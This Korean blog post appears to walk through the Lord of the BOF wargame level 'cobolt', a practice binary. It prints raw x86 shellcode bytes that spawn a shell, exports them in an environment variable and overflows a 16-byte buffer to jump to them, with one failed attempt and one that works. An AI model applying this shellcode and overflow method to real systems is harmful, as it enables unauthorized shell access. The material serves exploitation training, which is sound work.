LOB #02 Cobolt
지난번 글의 아이디와 비밀번호를 입력해봅시다!
cobolt인데요!
이번엔 버퍼의 크기가 16이고 지난번과 조건이 같습니다!
16이면 쉘코드를 넣을 수가 없겠죠??
그래서 환경변수를 설정해보겠습니다!
shellcode를 만들기 위해 파일을 만들어 줍니다!
그후
export ShellCode=`python -c 'print("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80")'`
ShellCode에 쉘코드를 넣어주고
gcc -o ShellCode ShellCode.c를 하여 ShellCode의 주솟값을 알아낼 겁니다!
0xbffffc9b네요!
그러면 이제
./cobolt `python -c 'print("\x90"*20+"\x9b\xfc\xff\xbf")'`
위의 코드를 입력해보면!
되야되는데 왜 안되죠,,,?
하
뭔데,,,,
여러가지 방법을 시도했는데도 안돼서 이건 일단 킵하겠습니다..
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
한번 shellcode를 바꿔서 해보겠습니다..
export SHELLCODE=python -c 'print("\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80")'
로 23byte짜리를 해줬구요
env를 통해 shellcode가 잘 들어갔는지 확인합니당
잘 들어가 있네용
그러면 다시
SHELLCODE의 주소를 알아내기 위해
gcc -o SHELLCODE SHELLCODE.c
를 해준 후
./SHELLCODE SHELLCODE
를 해주면
주소가 나옵니다!
그러면 다시
./cobolt python -c 'print"\\x90"*20+"\\x65\\xfc\\xff\\xbf"'
를 해주면
오류가 뜨길래 75로 바꿔줬더니 뜹니다!
끝!